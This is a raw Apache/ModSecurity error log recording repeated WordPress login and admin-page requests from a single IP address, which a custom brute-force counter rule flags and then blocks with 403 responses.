[Wed Nov 12 22:55:50.996938 2025] [:error] [pid 23737:tid 23770] [client 62.60.130.213:52288] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSf9hQUsVVfOZWgW_XxLQAAAZU"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:55:56.491694 2025] [:error] [pid 23737:tid 23773] [client 62.60.130.213:52288] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSf_BQUsVVfOZWgW_XxMQAAAZg"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:55:59.834583 2025] [:error] [pid 23737:tid 23752] [client 62.60.130.213:52288] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSf_xQUsVVfOZWgW_XxOQAAAYM"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:56:03.341213 2025] [:error] [pid 23737:tid 23763] [client 62.60.130.213:52288] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSgAxQUsVVfOZWgW_XxQgAAAY4"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:56:08.120460 2025] [:error] [pid 23737:tid 23770] [client 62.60.130.213:52288] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSgCBQUsVVfOZWgW_XxSwAAAZU"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:56:12.730988 2025] [:error] [pid 23737:tid 23753] [client 62.60.130.213:52288] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSgDBQUsVVfOZWgW_XxUQAAAYQ"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:56:17.976351 2025] [:error] [pid 23737:tid 23754] [client 62.60.130.213:52288] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSgERQUsVVfOZWgW_XxWgAAAYU"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:56:28.647697 2025] [:error] [pid 23737:tid 23750] [client 62.60.130.213:52288] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSgHBQUsVVfOZWgW_XxagAAAYE"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:56:32.333751 2025] [:error] [pid 23737:tid 23767] [client 62.60.130.213:52288] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSgIBQUsVVfOZWgW_XxcAAAAZI"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:56:36.780721 2025] [:error] [pid 23737:tid 23765] [client 62.60.130.213:52288] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSgJBQUsVVfOZWgW_XxcwAAAZA"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:56:40.122562 2025] [:error] [pid 23737:tid 23772] [client 62.60.130.213:52288] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSgKBQUsVVfOZWgW_XxegAAAZc"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:56:53.302705 2025] [:error] [pid 60097:tid 60152] [client 62.60.130.213:52381] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSgNcdT5oio_TbWpi-r7QAAAMU"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:56:57.996363 2025] [:error] [pid 60097:tid 60149] [client 62.60.130.213:52381] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSgOcdT5oio_TbWpi-r8AAAAMM"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:57:03.021094 2025] [:error] [pid 60097:tid 60167] [client 62.60.130.213:52381] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSgP8dT5oio_TbWpi-r9AAAAM4"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:57:14.464352 2025] [:error] [pid 60097:tid 60171] [client 62.60.130.213:52381] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSgSsdT5oio_TbWpi-sAAAAANI"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:57:17.873024 2025] [:error] [pid 60097:tid 60169] [client 62.60.130.213:52381] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSgTcdT5oio_TbWpi-sBAAAANA"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:57:17.873162 2025] [:error] [pid 60097:tid 60169] [client 62.60.130.213:52381] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSgTcdT5oio_TbWpi-sBAAAANA"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:57:27.845287 2025] [:error] [pid 23737:tid 23758] [client 62.60.130.213:62704] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSgVxQUsVVfOZWgW_XxvAAAAYk"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:57:31.314392 2025] [:error] [pid 23737:tid 23759] [client 62.60.130.213:62704] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSgWxQUsVVfOZWgW_XxwQAAAYo"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:57:35.435572 2025] [:error] [pid 23737:tid 23753] [client 62.60.130.213:62704] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSgXxQUsVVfOZWgW_XxzAAAAYQ"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:57:38.839447 2025] [:error] [pid 23737:tid 23750] [client 62.60.130.213:62704] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSgYhQUsVVfOZWgW_XxzwAAAYE"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:57:43.080958 2025] [:error] [pid 23737:tid 23764] [client 62.60.130.213:62704] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSgZxQUsVVfOZWgW_Xx1gAAAY8"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:57:46.458741 2025] [:error] [pid 23737:tid 23759] [client 62.60.130.213:62704] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSgahQUsVVfOZWgW_Xx5gAAAYo"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:57:49.116679 2025] [:error] [pid 23737:tid 23765] [client 62.60.130.213:62704] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/profile.php"] [unique_id "aRSgbRQUsVVfOZWgW_Xx-AAAAZA"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:57:54.414276 2025] [:error] [pid 60405:tid 60410] [client 62.60.130.213:61122] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/plugins.php"] [unique_id "aRSgcnMGv_mlVi6mf5ox5gAAAAI"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:57:56.943161 2025] [:error] [pid 60096:tid 60127] [client 62.60.130.213:54445] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSgdDmzkhCvvk8DXOzQrgAAAIE"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:58:02.336491 2025] [:error] [pid 60096:tid 60145] [client 62.60.130.213:54445] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSgejmzkhCvvk8DXOzQswAAAJA"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:58:05.753633 2025] [:error] [pid 60096:tid 60131] [client 62.60.130.213:54445] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSgfTmzkhCvvk8DXOzQtwAAAIU"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:58:11.766292 2025] [:error] [pid 60096:tid 60148] [client 62.60.130.213:54445] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSggzmzkhCvvk8DXOzQwAAAAJI"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:58:12.887526 2025] [:error] [pid 60096:tid 60156] [client 62.60.130.213:54445] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/index.php"] [unique_id "aRSghDmzkhCvvk8DXOzQxAAAAJY"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:58:14.591881 2025] [:error] [pid 60180:tid 60194] [client 62.60.130.213:52872] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/profile.php"] [unique_id "aRSghlhgd7ccS8EZg1p2OQAAAUw"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:58:18.914639 2025] [:error] [pid 60405:tid 60410] [client 62.60.130.213:58372] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/edit.php"] [unique_id "aRSginMGv_mlVi6mf5ox_AAAAAI"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:58:21.207985 2025] [:error] [pid 60097:tid 60174] [client 62.60.130.213:51240] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/plugins.php"] [unique_id "aRSgjcdT5oio_TbWpi-sOAAAANU"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:58:25.772280 2025] [:error] [pid 60095:tid 60120] [client 62.60.130.213:57564] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSgkXlw2elroagFF1peXgAAAFU"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:58:32.899892 2025] [:error] [pid 60095:tid 60119] [client 62.60.130.213:57564] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSgmHlw2elroagFF1peaQAAAFQ"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:58:36.009500 2025] [:error] [pid 60095:tid 60105] [client 62.60.130.213:57564] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSgnHlw2elroagFF1pebwAAAEY"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:58:36.009573 2025] [:error] [pid 60095:tid 60105] [client 62.60.130.213:57564] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSgnHlw2elroagFF1pebwAAAEY"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:58:41.976907 2025] [:error] [pid 60097:tid 60172] [client 62.60.130.213:53419] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSgocdT5oio_TbWpi-sTAAAANM"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:58:44.615418 2025] [:error] [pid 60097:tid 60177] [client 62.60.130.213:53419] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSgpMdT5oio_TbWpi-sUQAAANg"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:58:46.340517 2025] [:error] [pid 60097:tid 60142] [client 62.60.130.213:53419] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSgpsdT5oio_TbWpi-sVwAAAMA"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:58:48.456166 2025] [:error] [pid 60097:tid 60168] [client 62.60.130.213:53419] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSgqMdT5oio_TbWpi-sWwAAAM8"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:58:52.970494 2025] [:error] [pid 60097:tid 60166] [client 62.60.130.213:53419] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSgrMdT5oio_TbWpi-sXgAAAM0"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:58:55.101348 2025] [:error] [pid 60097:tid 60160] [client 62.60.130.213:53419] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSgr8dT5oio_TbWpi-sYAAAAMc"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:58:55.101428 2025] [:error] [pid 60097:tid 60160] [client 62.60.130.213:53419] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 12"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSgr8dT5oio_TbWpi-sYAAAAMc"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:59:00.685902 2025] [:error] [pid 60095:tid 60112] [client 62.60.130.213:57930] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSgtHlw2elroagFF1peggAAAE0"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:59:00.685975 2025] [:error] [pid 60095:tid 60112] [client 62.60.130.213:57930] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSgtHlw2elroagFF1peggAAAE0"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:59:02.550200 2025] [:error] [pid 60095:tid 60101] [client 62.60.130.213:49583] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/index.php"] [unique_id "aRSgtnlw2elroagFF1pehAAAAEI"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:59:05.109487 2025] [:error] [pid 60097:tid 60147] [client 62.60.130.213:56422] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/profile.php"] [unique_id "aRSgucdT5oio_TbWpi-sZgAAAMI"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:59:06.666884 2025] [:error] [pid 60095:tid 60120] [client 62.60.130.213:56422] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/edit.php"] [unique_id "aRSgunlw2elroagFF1peigAAAFU"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:59:08.335691 2025] [:error] [pid 60097:tid 60164] [client 62.60.130.213:50879] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 11"] [hostname "rcacivilgroup.com"] [uri "/wp-admin/plugins.php"] [unique_id "aRSgvMdT5oio_TbWpi-saQAAAMs"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:59:09.884025 2025] [:error] [pid 60180:tid 60187] [client 62.60.130.213:56539] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSgvVhgd7ccS8EZg1p2YwAAAUU"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:59:15.017358 2025] [:error] [pid 60180:tid 60188] [client 62.60.130.213:56539] [client 62.60.130.213] ModSecurity: Warning. Pattern match "/wp-login\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "14"] [id "400003"] [msg "wp-login.php hit from 62.60.130.213, incrementing brute counter"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSgw1hgd7ccS8EZg1p2bAAAAUY"], referer: https://rcacivilgroup.com/wp-login.php
[Wed Nov 12 22:59:15.017427 2025] [:error] [pid 60180:tid 60188] [client 62.60.130.213:56539] [client 62.60.130.213] ModSecurity: Access denied with code 403 (phase 1). Operator GT matched 10 at IP:wpbrute. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "18"] [id "400004"] [msg "Brute force protection triggered for 62.60.130.213 on wp-login.php, counter = 13"] [hostname "rcacivilgroup.com"] [uri "/wp-login.php"] [unique_id "aRSgw1hgd7ccS8EZg1p2bAAAAUY"], referer: https://rcacivilgroup.com/wp-login.php
